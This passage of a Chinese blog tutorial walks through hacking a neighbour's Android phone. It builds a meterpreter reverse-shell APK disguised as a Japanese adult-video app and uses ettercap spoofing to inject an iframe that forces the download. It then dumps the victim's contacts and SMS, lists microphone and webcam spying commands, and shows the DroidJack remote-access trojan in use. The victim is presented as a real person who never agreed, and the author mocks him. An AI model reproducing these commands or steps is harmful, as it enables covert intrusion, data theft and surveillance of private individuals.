&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Set LHOST 192.168.0.109<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;set SRVHOST 192.168.0.109<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Set uripath share<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Set srvport 80</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<span style="background:white;">show options</span><br />
<br />
</span><img width="600" height="314" src="https://www.2k8.org/content/uploadfile/202203/17/9c2ca0c0.png" alt="4-2.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">下面我们来访问本地地址成功如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="284" src="https://www.2k8.org/content/uploadfile/202203/17/c2d10f26.png" alt="4-3.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><b><span style="background:white;color:green;font-family:宋体;">第五篇</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">&nbsp;&nbsp;msf+ettercap</span></b><b><span style="background:white;color:green;font-family:宋体;">入侵邻居安卓手机</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">首先启动</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">msf</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">先用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kali</span><span style="background:white;color:#444444;font-family:宋体;">生成一个安卓木马，如下命令：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<b><span style="background:white;">Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk</span></b><br />
<br />
<br />
</span><img width="600" height="414" src="https://www.2k8.org/content/uploadfile/202203/17/073bc6a6.png" alt="5-1.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><b><span style="background:white;color:#444444;font-family:宋体;">为了能让对方下载以后安装我这里将马的名字命名为</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ribenav.apk,</span></b><b><span style="background:white;color:#444444;font-family:宋体;">哈哈邻居可是个</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">“</span></b><b><span style="background:white;color:#444444;font-family:宋体;">大色鬼</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">”</span></b><b><span style="background:white;color:#444444;font-family:宋体;">，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;"><br />
</span></b><b><span style="background:white;color:#444444;font-family:宋体;">然后进入</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">msf<br />
use exploit/multi/handler<br />
set payload android/meterpreter/reverse_tcp<br />
set LHOST 192.168.0.109 //ip</span></b><b><span style="background:white;color:#444444;font-family:宋体;">为</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kaili</span></b><b><span style="background:white;color:#444444;font-family:宋体;">的</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ip<br />
set LPORT 44444 //</span></b><b><span style="background:white;color:#444444;font-family:宋体;">端口一定要与前面生成的木马的端口一致</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;"><br />
Exploit</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="306" src="https://www.2k8.org/content/uploadfile/202203/17/94c2a6bc.png" alt="5-2.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">下面我们开启</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ettercap -G</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">我物理</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">IP</span><span style="background:white;color:#444444;font-family:宋体;">为</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="318" src="https://www.2k8.org/content/uploadfile/202203/17/6c0f66f6.png" alt="5-3.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">下面我们来设置一下</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="371" src="https://www.2k8.org/content/uploadfile/202203/17/a82daba5.png" alt="5-4.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">在开启欺骗之前我们先把生成的</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">apk</span><span style="background:white;color:#444444;font-family:宋体;">马丢到</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kaili var/www/html</span><span style="background:white;color:#444444;font-family:宋体;">下，并创建一个</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">index.htm</span><span style="background:white;color:#444444;font-family:宋体;">文件内容为：</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">&lt;iframe src=http://192.168.0.109/ribenav.apk&gt;&lt;/iframe&gt;,</span><span style="background:white;color:#444444;font-family:宋体;">因为</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">apk</span><span style="background:white;color:#444444;font-family:宋体;">文件嘛要想直接提示下载，用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">iframe</span><span style="background:white;color:#444444;font-family:宋体;">语句就</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">OK</span><span style="background:white;color:#444444;font-family:宋体;">了</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="277" src="https://www.2k8.org/content/uploadfile/202203/17/aa378490.png" alt="5-5.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">我们试着访问一下看看，别出什么错，访问正常。。</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="324" src="https://www.2k8.org/content/uploadfile/202203/17/71e31214.png" alt="5-6.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">下面我们开始攻击</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="336" src="https://www.2k8.org/content/uploadfile/202203/17/c08af175.png" alt="5-7.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">大概过了</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">5</span><span style="background:white;color:#444444;font-family:宋体;">分钟多，发现反弹成功了，哈哈老大叔还不错一看日本</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">AV</span><span style="background:white;color:#444444;font-family:宋体;">哈哈估计上劲就安装了。。。</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="587" height="282" src="https://www.2k8.org/content/uploadfile/202203/17/454ff125.png" alt="5-8.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">执行命令</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<b><span style="background:white;">dump_contacts&nbsp; &nbsp; --</span></b></span><b><span style="background:white;color:#444444;font-family:宋体;">》这个是导出电话</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;"><br />
dump_sms&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --</span></b><b><span style="background:white;color:#444444;font-family:宋体;">》这个是导出信息</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;"><br />
record_mic&nbsp; &nbsp;&nbsp;&nbsp;Record audio from the default microphone for X seconds<br />
&nbsp; &nbsp; webcam_chat&nbsp; &nbsp; Start a video chat<br />
&nbsp; &nbsp; webcam_list&nbsp; &nbsp; List webcams<br />
&nbsp; &nbsp; webcam_snap&nbsp; &nbsp; Take a snapshot from the specified webcam<br />
webcam_stream&nbsp;&nbsp;Play a video stream from the specified webcam</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">生成电话薄</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">txt</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="316" src="https://www.2k8.org/content/uploadfile/202203/17/61f0bdd2.png" alt="5-9.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">我们打开看一下电话薄</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="350" height="596" src="https://www.2k8.org/content/uploadfile/202203/17/c813b272.png" alt="5-10.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="317" height="574" src="https://www.2k8.org/content/uploadfile/202203/17/130ed9e2.png" alt="5-11.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">打开短信看一下</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="290" src="https://www.2k8.org/content/uploadfile/202203/17/8f8e72b3.png" alt="5-12.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">我们同时欺骗成</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">DroidJack</span><span style="background:white;color:#444444;font-family:宋体;">木马，使用方法如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="435" src="https://www.2k8.org/content/uploadfile/202203/17/575b562b.png" alt="5-13.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="435" src="https://www.2k8.org/content/uploadfile/202203/17/21353cfe.png" alt="5-14.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">切记在前面生成完马以后记得在这里选择开关为</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">on</span><span style="background:white;color:#444444;font-family:宋体;">，并且对应前面生成马的时候的端口否则上线不了</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><img width="600" height="433" src="https://www.2k8.org/content/uploadfile/202203/17/16fa56d5.png" alt="5-15.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">文件管理如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="319" src="https://www.2k8.org/content/uploadfile/202203/17/51897406.png" alt="5-16.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">短信管理如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="553" src="https://www.2k8.org/content/uploadfile/202203/17/0348aa39.png" alt="5-17.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">查看安装</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">app</span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="599" height="299" src="https://www.2k8.org/content/uploadfile/202203/17/7e0cd735.png" alt="5-18.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">查看浏览过的网页如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><img width="601" height="430" src="https://www.2k8.org/content/uploadfile/202203/17/2d472822.png" alt="5-19.png" style="vertical-align:middle;" /><span lang="EN-US"></span>
</p>
<p>
        <br />
</p>
<link rel="File-List" href="https://qq.vin/admin/ad5bb1a61ae2701733a498a4a748769a.files/filelist.xml" /><link rel="Edit-Time-Data" href="https://qq.vin/admin/ad5bb1a61ae2701733a498a4a748769a.files/editdata.mso" /><link rel="themeData" href="https://qq.vin/admin/ad5bb1a61ae2701733a498a4a748769a.files/themedata.thmx" /><link rel="colorSchemeMapping" href="https://qq.vin/admin/ad5bb1a61ae2701733a498a4a748769a.files/colorschememapping.xml" />
<style>
<!-- /* Font Definitions */ @font-face {font-family:宋体; panose-1:2 1 6 0 3 1 1 1 1 1; mso-font-alt:SimSun; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:3 135135232 16 0 262145 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:1; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:variable; mso-font-signature:0 0 0 0 0 0;} @font-face {font-family:等线; mso-font-alt:DengXian; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-1610612033 953122042 22 0 262159 0;} @font-face {font-family:Verdana; panose-1:2 11 6 4 3 5 4 4 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:536871559 0 0 0 415 0;} @font-face {font-family:"\@宋体"; panose-1:2 1 6 0 3 1 1 1 1 1; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:3 135135232 16 0 262145 0;} @font-face {font-family:"\@等线"; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-1610612033 953122042 22 0 262159 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; text-align:justify; text-justify:inter-ideograph; mso-pagination:none; font-size:10.5pt; mso-bidi-font-size:11.0pt; font-family:等线; mso-ascii-font-family:等线; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:等线; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:等线; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-font-kerning:1.0pt;} p.MsoAcetate, li.MsoAcetate, div.MsoAcetate {mso-style-noshow:yes; mso-style-priority:99; mso-style-link:"批注框文本 Char"; margin:0cm; margin-bottom:.0001pt; text-align:justify; text-justify:inter-ideograph; mso-pagination:none; font-size:9.0pt; font-family:等线; mso-ascii-font-family:等线; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:等线; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:等线; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-font-kerning:1.0pt;} span.Char {mso-style-name:"批注框文本 Char"; mso-style-noshow:yes; mso-style-priority:99; mso-style-unhide:no; mso-style-locked:yes; mso-style-link:批注框文本; mso-ansi-font-size:9.0pt; mso-bidi-font-size:9.0pt;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} /* Page Definitions */ @page {mso-page-border-surround-header:no; mso-page-border-surround-footer:no;} @page Section1 {size:595.3pt 841.9pt; margin:72.0pt 90.0pt 72.0pt 90.0pt; mso-header-margin:42.55pt; mso-footer-margin:49.6pt; mso-paper-source:0; layout-grid:15.6pt;} div.Section1 {page:Section1;} -->
</style>

查看完整版本: 家庭内网渗透大杂烩